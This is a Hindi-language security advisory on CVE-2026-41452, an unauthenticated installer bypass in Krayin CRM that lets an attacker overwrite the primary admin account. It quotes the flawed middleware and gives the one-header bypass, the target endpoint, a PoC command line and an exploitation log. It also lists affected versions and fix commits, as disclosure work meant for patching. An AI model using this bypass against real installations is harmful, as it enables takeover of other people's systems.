
CVE-2026-41452 — Krayin CRM में बिना प्रमाणीकरण वाला इंस्टॉलर बायपास (X-Requested-With) → एडमिन टेकओवर। सत्यापित: 2.2.4 पर ओवरराइट + लॉगिन, 2.2.5 पर अवरुद्ध।
CVSS 9.8 (गंभीर) · CWE-287 / CWE-306 · Jiva विश्लेषण · VulnCheck
Krayin CRM का इंस्टॉलर POST /install/api/admin-config-setup (साथ ही run-migration, run-seeder) को CSRF सुरक्षा के बिना उजागर करता है (withoutMiddleware('web') ग्रुप)। CanInstall ग्लोबल मिडलवेयर केवल गैर-AJAX अनुरोधों के लिए रूट को ब्लॉक करता है:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
X-Requested-With: XMLHttpRequest भेजने से यह चेक पूरी तरह स्किप हो जाता है। इसके बाद कंट्रोलर हार्डकोडेड प्राथमिक एडमिन (user id=1) को हमलावर द्वारा प्रदान किए गए name/email/password (role_id=1, status=1) के साथ updateOrInsert करता है → पहले से इंस्टॉल्ड इंस्टेंस पर बिना प्रमाणीकरण के पूर्ण एडमिन टेकओवर।
प्रभावित: ≤ 2.2.0 और 2.2.4 (रिग्रेशन)। फिक्स: 2.2.1 (e4eb96f5), 2.2.4 में रिग्रेशन (6a7bc4cc), 2.2.5 में दोबारा फिक्स (ea4919a8)। शोध के समय master ब्रांच अभी भी असुरक्षित थी।
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
श्रृंखला:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → एडमिन (id=1) ओवरराइट हो गया/admin/login पर लॉगिन करें → /admin/dashboard पर रिडायरेक्ट[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
फिक्स्ड-बिल्ड तुलना: v2.2.5 फाइलों के साथ वही AJAX POST → HTTP 403 (ब्लॉक किया गया)।
कोई भी सार्वजनिक रूप से सुलभ Krayin CRM इंस्टॉलेशन (v2.2.4 या ≤2.2.0) एक अनप्रमाणित हमलावर द्वारा एक ही अनुरोध में पूरी तरह से टेकओवर किया जा सकता है। न CSRF की आवश्यकता है, न क्रेडेंशियल्स की, न किसी इंटरैक्शन की।
ea4919a8 (v2.2.5) · रिग्रेशन: 6a7bc4cc (v2.2.4) · पहला फिक्स: e4eb96f5 (v2.2.1)